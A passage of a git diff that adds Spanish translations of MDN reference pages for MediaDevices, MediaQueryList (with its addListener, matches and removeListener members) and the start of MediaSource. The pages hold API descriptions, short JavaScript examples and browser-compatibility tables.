+<p>Esta promise-based interfaz y  la sintaxis de restricciones descrita aquí esta disponible  en Firefox 38. Versiones anteriores (32-37) usaban una sitaxis de restriciones desactualizada, pero la sintaxis descrita aquí, tanto como la promise-based interfaz, esta disponible mediante <a href="https://github.com/webrtc/adapter">adapter.js</a> polyfill.</p>
+
+<p>Opera usa una sintaxis de restricciones desactualizada, pero la sintaxis descrita aquí esta disponible mediante <a href="https://github.com/webrtc/adapter">adapter.js</a> polyfill.</p>
+
+<p>[3] Chrome lanza un  error si la página que sirve el script es cargada desde un origen inseguro (i.e. HTTP).</p>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>The older <a href="/en-US/docs/Web/API/Navigator/getUserMedia">navigator.getUserMedia</a> legacy API.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/enumerateDevices">navigator.enumerateDevices</a> - learn the types and number of devices the user has available.</li>
+ <li><a href="/en-US/docs/WebRTC">WebRTC</a> - the introductory page to the API</li>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API">MediaStream API</a> - the API for the media stream objects</li>
+ <li><a href="/en-US/docs/WebRTC/taking_webcam_photos">Taking webcam photos</a> - a tutorial on using <code>getUserMedia() for taking photos rather than video.</code></li>
+</ul>
diff --git a/files/es/web/api/mediadevices/index.html b/files/es/web/api/mediadevices/index.html
new file mode 100644
index 0000000000..9c02a60cea
--- /dev/null
+++ b/files/es/web/api/mediadevices/index.html
@@ -0,0 +1,172 @@
+---
+title: MediaDevices
+slug: Web/API/MediaDevices
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Media
+  - MediaDevices
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/MediaDevices
+---
+<div>{{APIRef("WebRTC")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">The <strong><code>MediaDevices</code></strong> interface provides access to connected media input devices like cameras and microphones, as well as screensharing.</span></p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>None.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{ domxref("MediaDevices.getUserMedia()") }}</dt>
+ <dd>With the user's permission through a prompt, turns on a camera or screensharing and/or a microphone on the system and provides a {{domxref("MediaStream")}} containing a video track and/or an audio track with the input.</dd>
+ <dt>{{ domxref("MediaDevices.enumerateDevices()") }}</dt>
+ <dd>Obtains an array of information about the media input and output devices available on the system.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js">'use strict';
+
+// Put variables in global scope to make them available to the browser console.
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Got stream with constraints:', constraints);
+  console.log('Using video device: ' + videoTracks[0].label);
+  stream.onended = function() {
+    console.log('Stream ended');
+  };
+  window.stream = stream; // make variable available to browser console
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
+        constraints.video.width.exact + ' px is not supported by your device.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Permissions have not been granted to use your camera and ' +
+      'microphone, you need to allow the page access to your devices in ' +
+      'order for the demo to work.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '&lt;p&gt;' + msg + '&lt;/p&gt;';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>enumerateDevices()</code></td>
+   <td>{{CompatChrome(45.0)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>2.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>enumerateDevices()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Behind a flag.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> - the introductory page to the API</li>
+ <li><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">Navigator.getUserMedia()</a></li>
+</ul>
diff --git a/files/es/web/api/mediaquerylist/addlistener/index.html b/files/es/web/api/mediaquerylist/addlistener/index.html
new file mode 100644
index 0000000000..e52d1b8b33
--- /dev/null
+++ b/files/es/web/api/mediaquerylist/addlistener/index.html
@@ -0,0 +1,148 @@
+---
+title: MediaQueryList.addListener()
+slug: Web/API/MediaQueryList/addListener
+translation_of: Web/API/MediaQueryList/addListener
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<div>El método <code><strong>addListener()</strong></code> de la interfaz {{domxref ("MediaQueryList")}} añade un escucha al <code>MediaQueryListener</code> que ejecutará una función de devolución de llamada personalizada en respuesta al cambio de estado de consulta de medios.<br>
+ </div>
+
+<div>
+<p>Esto es básicamente un alias para {{domxref("EventTarget.addEventListener()")}}, para propósitos de compatibilidad con versiones anteriores: en los navegadores antiguos se puede usar <code>addEventListener.</code></p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>MediaQueryList.addListener(func)</em></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt>func</dt>
+ <dd>A function or function reference representing the callback function you want to run when the media query status changes. In the original implementation, the callback was a non-standard {{domxref("MediaQueryListListener")}} object. In the new implementation the standard event mechanism is used, the callback is a standard function, and the event object is a {{domxref("MediaQueryListEvent")}}, which inherits from {{domxref("Event")}}.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Void.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var mql = window.matchMedia('(max-width: 600px)');
+
+function screenTest(e) {
+  if (e.matches) {
+    /* the viewport is 600 pixels wide or less */
+    para.textContent = 'This is a narrow screen — less than 600px wide.';
+    document.body.style.backgroundColor = 'red';
+  } else {
+    /* the viewport is more than than 600 pixels wide */
+    para.textContent = 'This is a wide screen — more than 600px wide.';
+    document.body.style.backgroundColor = 'blue';
+  }
+}
+
+mql.addListener(screenTest);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-mediaquerylist-addlistener", "addListener")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>New version spec update</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>New version spec update</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries">Media queries</a></li>
+ <li><a href="/en-US/docs/CSS/Using_media_queries_from_code">Using media queries from code</a></li>
+ <li>{{domxref("window.matchMedia()")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListEvent")}}</li>
+</ul>
diff --git a/files/es/web/api/mediaquerylist/index.html b/files/es/web/api/mediaquerylist/index.html
new file mode 100644
index 0000000000..a13b29cdbb
--- /dev/null
+++ b/files/es/web/api/mediaquerylist/index.html
@@ -0,0 +1,178 @@
+---
+title: MediaQueryList
+slug: Web/API/MediaQueryList
+tags:
+  - API
+  - CSSOM Vista
+  - CompatibilidadDeNavegadores
+  - Interface
+  - MediaQueryList
+  - Refetencia
+translation_of: Web/API/MediaQueryList
+---
+<div>{{APIRef("CSSOM View")}}{{SeeCompatTable}}</div>
+
+<p>Un objeto <code>MediaQueryList</code> almacena información en un <a href="/en-US/docs/Web/CSS/Media_Queries">media query</a> aplicada a un documento y se encarga de enviar notificaciones a los oyentes cuando cambia el estado de consulta de medios (es decir, cuando la prueba de consulta de medios comienza o deja de evaluarse a <code>true</code>).</p>
+
+<p>Esto hace posible observar un documento para detectar cuando sus consultas de medios cambian, en lugar de sondear los valores periódicamente y le permite programar cambios en un documento basado en el estado de consulta de medios.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p>La nueva versión de la interfaz de <em><code>MediaQueryList</code> </em> hereda las propiedades de su interfaz principal, <em>{{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaQueryList.matches")}} {{readonlyInline}}</dt>
+ <dd> Un {{domxref("Boolean")}} que devuelve  <code>true</code> si el<br>
+  {{domxref("document")}} actualmente coincide con la lista de consultas de medios, o <code>false</code> si no.</dd>
+ <dt>{{domxref("MediaQueryList.media")}} {{readonlyInline}}</dt>
+ <dd> Un {{domxref("DOMString")}} representa una consulta de medios serializada.</dd>
+</dl>
+
+<h3 id="Controladores_de_eventos">Controladores de eventos</h3>
+
+<dl>
+ <dt>{{domxref("MediaQueryList.onchange")}}</dt>
+ <dd>Una propiedad de controlador de eventos que representa una función que se invoca cuando se desencadena el evento {{event("change")}}, es decir, cuando cambia el estado del soporte de consulta de medios. El objeto de evento es una instancia {{domxref("MediaQueryListEvent")}}, que se reconoce como una instancia de <code>MediaListQuery</code> en navegadores antiguos, para propósitos de compatibilidad con versiones anteriores.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>La nueva versión de la interfaz de <code>MediaQueryList</code> hereda métodos de su interfaz principal, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaQueryList.addListener()")}}</dt>
+ <dd> Agrega un escucha al <code>MediaQueryListener</code> que ejecutará una función de devolución de llamada personalizada en respuesta al cambio de estado de consulta de medios. Esto es básicamente un alias para {{domxref("EventTarget.addEventListener()")}}, para propósitos de compatibilidad con versiones anteriores. </dd>
+ <dt>{{domxref("MediaQueryList.removeListener()")}}</dt>
+ <dd> Elimina un escucha de <code>MediaQueryListener</code>. Esto es básicamente un alias para {{domxref ("EventTarget.removeEventListener ()")}}, para propósitos de compatibilidad con versiones anteriores.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Este ejemplo sencillo crea una <code>MediaQueryList</code> y, a continuación, establece un detector para detectar cuándo cambia el estado de la consulta de medios, ejecutando una función personalizada cuando cambia la apariencia de la página.</p>
+
+<pre class="brush: js">var para = document.querySelector('p');
+
+var mql = window.matchMedia('(max-width: 600px)');
+
+function screenTest(e) {
+  if (e.matches) {
+    /* el ventana tiene 600 píxeles de ancho o menos*/
+    para.textContent = 'This is a narrow screen — less than 600px wide.';
+    document.body.style.backgroundColor = 'red';
+  } else {
+    /* la ventana tiene más de 600 píxeles de ancho */
+    para.textContent = 'This is a wide screen — more than 600px wide.';
+    document.body.style.backgroundColor = 'blue';
+  }
+}
+
+mql.addListener(screenTest);</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en GitHub (ver el <a href="https://github.com/mdn/dom-examples/blob/master/mediaquerylist/index.html">codigo fuente</a>, y también verlo en <a href="https://mdn.github.io/dom-examples/mediaquerylist/index.html">ejecución</a>).</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificaciones</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#the-mediaquerylist-interface", "MediaQueryList")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>New version spec update</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>New version spec update</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries">Media queries</a></li>
+ <li><a href="/en-US/docs/CSS/Using_media_queries_from_code">Uso de media queries desde el código</a></li>
+ <li>{{domxref("window.matchMedia()")}}</li>
+ <li>{{domxref("MediaQueryListListener")}}</li>
+ <li>{{domxref("MediaQueryListEvent")}}</li>
+</ul>
diff --git a/files/es/web/api/mediaquerylist/matches/index.html b/files/es/web/api/mediaquerylist/matches/index.html
new file mode 100644
index 0000000000..c31f6fa707
--- /dev/null
+++ b/files/es/web/api/mediaquerylist/matches/index.html
@@ -0,0 +1,108 @@
+---
+title: MediaQueryList.matches
+slug: Web/API/MediaQueryList/matches
+translation_of: Web/API/MediaQueryList/matches
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p>La propiedad <strong><code>matches</code> </strong>de sólo lectura de la interfaz {{domxref ("MediaQueryList")}} es {{domxref ("Boolean")}} que devuelve <code>true</code> si el {{domxref ("document")}} coincide actualmente con el medio lista de consultas, o <code>false</code> si no.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>matches</em> = <em>MediaQueryList.matches;</em></pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("Boolean")}}; returns <code>true</code> if the {{domxref("document")}} currently matches the media query list, <code>false</code> if not.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var mql = window.matchMedia('(max-width: 600px)');
+
+if(mql.matches) {
+  // media query test returning true
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-mediaquerylist-matches", "matches")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries">Media queries</a></li>
+ <li><a href="/en-US/docs/CSS/Using_media_queries_from_code">Using media queries from code</a></li>
+ <li>{{domxref("window.matchMedia()")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListEvent")}}</li>
+</ul>
diff --git a/files/es/web/api/mediaquerylist/removelistener/index.html b/files/es/web/api/mediaquerylist/removelistener/index.html
new file mode 100644
index 0000000000..2689dde854
--- /dev/null
+++ b/files/es/web/api/mediaquerylist/removelistener/index.html
@@ -0,0 +1,149 @@
+---
+title: MediaQueryList.removeListener()
+slug: Web/API/MediaQueryList/removeListener
+translation_of: Web/API/MediaQueryList/removeListener
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p>El método <code><strong>removeListener()</strong></code> de la interfaz {{domxref ("MediaQueryList")}} elimina un escucha de <code>MediaQueryListener</code>.</p>
+
+<p>Esto es básicamente un alias para {{domxref("EventTarget.removeEventListener()")}}, para propósitos de compatibilidad con versiones anteriores: en los navegadores antiguos puede usar <code>removeEventListener()</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>MediaQueryList.removeListener(func)</em></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt>func</dt>
+ <dd>Una función o referencia de función que representa la función de devolución de llamada que desea eliminar. En la implementación original, la devolución de llamada era un objeto {{domxref ("MediaQueryListListener")}} no estándar. En la nueva implementación se utiliza el mecanismo de eventos estándar y la devolución de llamada es una función estándar.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Void.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">var mql = window.matchMedia('(max-width: 600px)');
+
+function screenTest(e) {
+  if (e.matches) {
+    /* the viewport is 600 pixels wide or less */
+    para.textContent = 'This is a narrow screen — less than 600px wide.';
+    document.body.style.backgroundColor = 'red';
+  } else {
+    /* the viewport is more than than 600 pixels wide */
+    para.textContent = 'This is a wide screen — more than 600px wide.';
+    document.body.style.backgroundColor = 'blue';
+  }
+}
+
+mql.addListener(screenTest);
+
+// Later on, when it is no longer needed
+mql.removeListener(screenTest);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificaciones</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-mediaquerylist-removelistener", "removeListener")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>New version spec update</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>New version spec update</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries">Media queries</a></li>
+ <li><a href="/en-US/docs/CSS/Using_media_queries_from_code">Using media queries from code</a></li>
+ <li>{{domxref("window.matchMedia()")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListEvent")}}</li>
+</ul>
diff --git a/files/es/web/api/mediasource/index.html b/files/es/web/api/mediasource/index.html
new file mode 100644
index 0000000000..2f5ff914c9
--- /dev/null
+++ b/files/es/web/api/mediasource/index.html
@@ -0,0 +1,182 @@
+---
+title: MediaSource
+slug: Web/API/MediaSource
+translation_of: Web/API/MediaSource
+---
+<p>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</p>
+
+<p>El <strong><code>MediaSource</code></strong> interfaz representa un recurso de media en datos por un {{domxref("HTMLMediaElement")}} objeto. Un <code>MediaSource</code> objeto puede ser atribuido a un {{domxref("HTMLMediaElement")}} para ser reproducido por el usuario.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.MediaSource", "MediaSource()")}}</dt>
+ <dd>construye y retorna un <code>MediaSource</code> objeto sin asociar un recurso con buffers.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Inherits properties from its parent interface, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaSource.sourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("SourceBufferList")}} object containing the list of {{domxref("SourceBuffer")}} objects associated with this <code>MediaSource</code>.</dd>
+ <dt>{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("SourceBufferList")}} object containing a subset of the {{domxref("SourceBuffer")}} objects contained within {{domxref("SourceBuffers")}} — the list of objects providing the selected video track,  enabled audio tracks, and shown/hidden text tracks.</dd>
+ <dt>{{domxref("MediaSource.readyState")}} {{readonlyInline}}</dt>
+ <dd>Returns an enum representing the state of the current <code>MediaSource</code>, whether it is not currently attached to a media element (<code>closed</code>), attached and ready to receive {{domxref("SourceBuffer")}} objects (<code>open</code>), or attached but the stream has been ended via {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd>
+ <dt>{{domxref("MediaSource.duration")}}</dt>
+ <dd>Gets and sets the duration of the current media being presented.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits properties from its parent interface, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaSource.addSourceBuffer()")}}</dt>
+ <dd>Creates a new {{domxref("SourceBuffer")}} of the given MIME type and adds it to the <code>MediaSource</code>'s {{domxref("SourceBuffers")}} list.</dd>
+ <dt>{{domxref("MediaSource.removeSourceBuffer()")}}</dt>
+ <dd>Removes the given {{domxref("SourceBuffer")}} from the {{domxref("SourceBuffers")}} list associated with this <code>MediaSource</code> object.</dd>
+ <dt>{{domxref("MediaSource.endOfStream()")}}</dt>
+ <dd>Signals the end of the stream.</dd>
+ <dt>
+ <h2 id="Static_methods">Static methods</h2>
+ </dt>
+ <dt>{{domxref("MediaSource.isTypeSupported()")}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} value indicating if the given MIME type is supported by the current user agent — this is, if it can successfully create {{domxref("SourceBuffer")}} objects for that MIME type.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
